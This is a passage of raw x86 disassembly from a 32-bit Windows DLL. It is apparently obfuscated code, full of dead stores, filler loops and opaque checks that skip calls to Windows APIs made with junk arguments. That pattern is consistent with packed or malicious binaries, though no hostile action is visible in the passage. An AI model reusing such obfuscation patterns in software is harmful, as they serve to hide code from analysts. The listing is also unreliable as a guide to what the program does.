mov dword [ebp - 0x38], 0xfffffff0
jmp 0x1002bc05
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x8c]
cmp ecx, eax
setg dl
mov dword [ebp - 0x28], edx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x19
jne 0x1002bbef
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 0x1a
push 1
pop ebx
jge 0x1002bb3d
push 3
pop ecx
push 2
mov esi, 0x214d
pop edx
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x6a8], 0
jne 0x1002bc45
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x1002ba2d
mov edi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov ebx, dword [sym.imp.GDI32.dll_SetWindowExtEx]
inc dword [ebp - 0x48]
push 0
pop eax
cmp dword [ebp - 0x48], ecx
jle 0x1002b3a2
mov dword [ebp - 0x40], 0x5bb2
mov dword [ebp - 0x40], 0x4de6f885
mov dword [ebp - 0x40], 0x2f88d967
mov dword [ebp - 0x40], 0x30498d20
mov dword [ebp - 0x40], 0xff8cd3be
mov dword [ebp - 0x40], 0xb6ea
mov dword [ebp - 0x54], 0xaefc518f
mov dword [ebp - 0x14], eax
jmp 0x1002bca7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfcc], 0x2fe22364
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002bc96
inc dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
push 0
mov eax, dword [ebp + eax*4 - 0x6a8]
dec dword [ebp - 0x24]
pop eax
push 1
pop edx
jns 0x1002b284
mov dword [ebp - 0x14], 0xfffffffe
mov esi, 0xfd5464b5
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002bcf2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe24], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002bcdd
xor eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_IsValidLocale]
xor edi, edi
mov dword [ebp - 0x14], eax
inc edi
jmp 0x1002bd16
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002bd13
push 0x5da
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x1002bd00
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002bd40
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe84], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002bd2b
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002bd5b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002bd58
push 0x5da
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x1002bd45
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002bd85
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe54], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002bd70
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002bda0
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002bd9d
push 0x5da
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x1002bd8a
mov dword [ebp - 0x14], 0xfffffffc
mov dword [ebp - 0x30], eax
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x44], 0xc2c9ebf4
mov dword [ebp - 0x50], 7
mov dword [ebp - 0x40], eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002bde0
push eax
push 0xc47
push 0x15cd
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov eax, dword [ebp - 0x30]
xor edx, edx
push 4
pop esi
mov dword [ebp - 0x54], esi
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x54]
neg edx
sbb edx, edx
inc edx
imul ecx, edx, 7
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp eax, edx
setl cl
cmp dword [ebp - 0x14], ecx
jle 0x1002be35
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002be37
mov eax, edi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x38], 0x1928c176
mov dword [ebp - 0x38], 0xffffffe2
cmp dword [ebp - 0x38], 0x19
jg 0x1002bebe
push 3
xor eax, eax
pop ecx
mov dword [ebp - 0x48], 0xcfe04822
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002be7a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd24], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002be62
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], eax
jl 0x1002beb5
mov dword [ebp - 0x14], eax
jmp 0x1002be98
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xab8], 0xfffc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002be87
inc dword [ebp - 0xab0]
mov eax, dword [ebp - 0x48]
push 0
mov eax, dword [ebp + eax*4 - 0xd24]
dec dword [ebp - 0x48]
pop eax
jns 0x1002be82
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x19
jle 0x1002be53
mov dword [ebp - 0x18], 0xf2c29a3d
or eax, 0xffffffff
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x34], 0xf6a08376
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x44], 0xb26d8f9c
mov dword [ebp - 0x54], 0xf47f28a9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002bf0b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x180], 0x26d5d64f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002bef3
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002bf1f
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], eax
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x54], eax
je 0x1002bf21
mov esi, edi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0xffff
setne cl
xor edx, edx
cmp esi, ecx
setge dl
xor eax, eax
cmp edx, 0x68cd5467
setle al
xor edx, edx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x54]
cmp eax, ecx
setg dl
add edx, dword [ebp - 0x18]
jne 0x1002bf84
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x18], eax
je 0x1002bf86
mov ecx, edi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
sub eax, ecx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x20], 0x3a4c924b
mov dword [ebp - 0x30], 0x43836745
mov dword [ebp - 0x54], 0xfd522803
mov dword [ebp - 0x40], 0x242039ce
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002bfe8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbc], 0xfffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002bfd0
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x1002c00c
mov ecx, 0xffff
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x638], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002bff8
xor eax, eax
push 4
mov dword [ebp - 0x1c], eax
pop ecx
jmp 0x1002c025
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1084], 0xe3c1dc0a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002c014
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x30], edi
sbb eax, eax
or ecx, 0xffffffff
inc eax
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002c075
cmp dword [ebp - 0x634], eax
je 0x1002c075
mov edx, edi
cmp dword [ebp - 0xbc], eax
jne 0x1002c077
mov edx, eax
mov eax, dword [ebp - 0xbc]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xbc]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xbc]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x54], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
test eax, eax
setns cl
xor eax, eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002c0d0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd2c], 0xfd5464b5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002c0b8
xor eax, eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], edi
jg 0x1002c38d
mov dword [ebp - 0x34], eax
or ecx, 0xffffffff
mov dword [ebp - 0x54], 0xa652065c
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x50], 0x2f20
mov dword [ebp - 0x44], 0xfbb9cf7d
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002c11d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x224], 0x399841b3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c105
xor eax, eax
push 4
mov dword [ebp - 0x18], eax
pop edx
cmp dword [ebp - 0x18], edx
jge 0x1002c140
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd3c], 0xfff6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002c128
xor eax, eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xfffffffc
jge 0x1002c1da
mov dword [ebp - 0x20], 0x9c1464f1
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x21c]
sub ecx, eax
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0xd34]
mov eax, dword [ebp - 0x50]
mov esi, dword [ebp - 0x34]
sub esi, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x20]
neg esi
mov eax, dword [ebp - 0x20]
sbb esi, esi
xor edx, edx
inc esi
cmp ecx, eax
mov eax, dword [ebp - 0x21c]
setne dl
xor ebx, ebx
sub edx, esi
cmp edx, eax
mov eax, dword [ebp - 0x21c]
setge bl
xor ecx, ecx
cmp ebx, eax
setg cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x21c]
cmp dword [ebp - 0x21c], 0xfffffffc
jl 0x1002c153
mov ebx, dword [sym.imp.KERNEL32.dll_IsValidLocale]
xor eax, eax
push 3
pop ecx
push 2
pop esi
mov dword [ebp - 0x38], 0x860b4ffb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002c201
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc24], 0xfffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002c1e9
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002c21f
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c21c
push 0x1ca2
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jle 0x1002c206
mov eax, dword [ebp - 0xc24]
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002c37e
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], 0xfffffffc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002c265
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13c], 0xbd97
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002c24d
xor eax, eax
mov dword [ebp - 0x18], 0xfffc
cmp dword [ebp - 0x18], eax
jne 0x1002c468
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002c298
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x90c], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002c280
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002c376
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x13c]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x13c], ecx
xor eax, eax
test ecx, ecx
je 0x1002c33b
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jg 0x1002c328
or ecx, 0xffffffff
mov dword [ebp - 0x44], 0xbc22
mov dword [ebp - 0x50], ecx
cmp dword [ebp - 0x13c], eax
jne 0x1002c2e5
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x1002c2e7
mov ecx, edi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x128f
je 0x1002c2f9
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x908]
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x44], esi
mov eax, dword [ebp - 0x30]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
setne dl
neg edx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x50], eax
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002c2c9
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c359
push eax
push eax
call dword [sym.imp.GDI32.dll_RectInRegion]
jmp 0x1002c359
cmp dword [ebp - 0x30], eax
jne 0x1002c374
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002c359
push 0x1da1
push 0x78f
push eax
call dword [sym.imp.GDI32.dll_PtInRegion]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x13c], 0
jne 0x1002c374
inc dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jle 0x1002c2a4
xor eax, eax
push 0x5da
push eax
call ebx
inc dword [ebp - 0x48]
push 0
pop eax
cmp dword [ebp - 0x48], edi
jle 0x1002c0dc
mov dword [ebp - 0x14], 0xfffffffc
mov dword [ebp - 0x30], eax
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x44], 0xc2c9ebf4
mov dword [ebp - 0x50], 7
mov dword [ebp - 0x40], eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c3c8
push eax
push 0xc47
push 0x15cd
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov eax, dword [ebp - 0x30]
xor edx, edx
push 4
pop eax
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x54]
neg edx
sbb edx, edx
inc edx
imul ecx, edx, 7
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp eax, edx
setl cl
cmp dword [ebp - 0x14], ecx
jle 0x1002c41d
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002c41f
mov eax, edi
mov dword [ebp - 0x50], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002c440
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xfc], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002c42c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002c460
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8e4], 5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002c448
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ebx
jmp 0x1002c4ae
mov dword [ebp - 0x44], 0x4176
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c481
push eax
call dword [sym.imp.COMDLG32.dll_FindTextW]
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002c492
cmp dword [ebp - 0x44], eax
jne 0x1002c376
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x19
jl 0x1002c486
jmp 0x1002c376
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x484], 0xa3191b49
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002c49d
mov eax, dword [ebp - 0xfc]
xor ecx, ecx
mov eax, dword [ebp - 0xfc]
cmp eax, 0xb263
mov eax, dword [ebp - 0xfc]
setne cl
xor edx, edx
cmp ecx, edi
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xfc]
setl cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0xfc]
setge dl
add edx, 0xffffae56
neg edx
sbb edx, edx
inc edx
add eax, edx
jne 0x1002c507
cmp dword [ebp - 0xfc], eax
je 0x1002c509
mov eax, edi
mov esi, dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [ebp - 0x8e4], eax
xor eax, eax
mov dword [ebp - 0x484], eax
jmp 0x1002c58e
mov dword [ebp - 0x20], 0x6123d4a1
mov dword [ebp - 0x40], 0xd2668451
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0x5878ed7c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002c588
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002c568
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6c8], 0xfffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002c54f
xor eax, eax
inc dword [ebp - 0x6c4]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c583
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1002c546
dec dword [ebp - 0x484]
cmp dword [ebp - 0x484], 0xffffffe6
jl 0x1002c51f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002c5b3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe8], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002c59f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002c5d5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa0c], 5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002c5bc
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002c5eb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x494], 0xa3191b49
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002c5da
mov eax, dword [ebp - 0xe8]
xor ecx, ecx
mov eax, dword [ebp - 0xe8]
cmp eax, 0xb263
mov eax, dword [ebp - 0xe8]
setne cl
xor edx, edx
cmp ecx, edi
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xe8]
setl cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0xe8]
setge dl
add edx, 0xffffae56
neg edx
sbb edx, edx
inc edx
add eax, edx
jne 0x1002c644
cmp dword [ebp - 0xe8], eax
je 0x1002c646
mov eax, edi
mov dword [ebp - 0xa0c], eax
xor eax, eax
mov dword [ebp - 0x494], eax
jmp 0x1002c6c5
mov dword [ebp - 0x20], 0x6123d4a1
mov dword [ebp - 0x40], 0xd2668451
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0x5878ed7c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002c6bf
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002c69f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x568], 0xfffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002c686
xor eax, eax
inc dword [ebp - 0x564]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c6ba
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1002c67d
dec dword [ebp - 0x494]
cmp dword [ebp - 0x494], 0xffffffe6
jl 0x1002c656
mov eax, dword [0x100788cc]
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002c6fb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x105c], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002c6e3
xor eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0x18], eax
jmp 0x1002c71b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c718
push 0x2487
call ebx
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1002c706
mov edi, dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 0x18], 0xffffffe5
jmp 0x1002c760
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c75d
push eax
push 0x6c1
push 0xf07
push 0x170d
push 0x1eb3
push 0x2102
push 0x1dfa
push eax
call edi
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff3
jle 0x1002c730
mov dword [ebp - 0x14], 0xfffffffc
mov dword [ebp - 0x30], eax
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x44], 0xc2c9ebf4
mov dword [ebp - 0x50], 7
mov dword [ebp - 0x40], eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c7a1
push eax
push 0xc47
push 0x15cd
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov eax, dword [ebp - 0x30]
xor edx, edx
push 4
pop eax
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
neg edx
sbb edx, edx
inc edx
imul ecx, edx, 7
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp eax, edx
setl cl
cmp dword [ebp - 0x14], ecx
jle 0x1002c7f6
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002c7f9
xor eax, eax
inc eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0xa75c96dd
dec dword [ebp - 0x28]
mov dword [ebp - 0x28], 0xfffffff3
cmp dword [ebp - 0x28], 0x3c
jle 0x1002c888
xor ebx, ebx
mov dword [ebp - 0x44], 0x373a4c92
mov dword [ebp - 0x34], ebx
push 3
mov dword [ebp - 0x14], ebx
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002c83f
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7f4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002c82d
cmp dword [ebp - 0x7ec], ebx
je 0x1002c869
mov edx, dword [ebp - 0x7ec]
xor ecx, ecx
mov dword [ebp - 0x7ec], edx
mov eax, dword [ebp - 0x34]
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x34]
je 0x1002c869
xor eax, eax
lea ecx, [eax + 1]
jmp 0x1002c86b
mov ecx, ebx
xor eax, eax
cmp ecx, 0xfffffffa
sete al
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x28]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x3c
jg 0x1002c815
mov ebx, dword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
mov dword [ebp - 0x18], eax
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002c8b0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xeac], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002c898
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002c8ca
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c8c7
push 0x2487
call ebx
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1002c8b5
mov dword [ebp - 0x18], 0xffffffe5
jmp 0x1002c909
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c906
push eax
push 0x6c1
push 0xf07
push 0x170d
push 0x1eb3
push 0x2102
push 0x1dfa
push eax
call edi
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff3
jle 0x1002c8d9
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x50], 0x3809
mov dword [ebp - 0x44], 0xcd9d7
mov dword [ebp - 0x34], 0x34f1
push 3
mov dword [ebp - 0x18], eax
pop edx
cmp dword [ebp - 0x18], edx
jge 0x1002c94e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x764], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002c936
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002c964
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1ec], 0xf5fa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c953
mov eax, 0xffff
cmp dword [ebp - 0x14], eax
sbb eax, eax
inc eax
add eax, edx
je 0x1002ca35
mov dword [ebp - 0x40], 7
xor eax, eax
mov dword [ebp - 0x40], 0x1dfe4b28
mov dword [ebp - 0x40], 0xfffffff8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002c9b3
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xeb8], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002c99f
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002c9c9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe3c], 0x1d2250db
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c9b8
dec dword [ebp - 0x1e8]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c9e9
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x1c], eax
inc ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002ca08
or eax, 0xffffffff
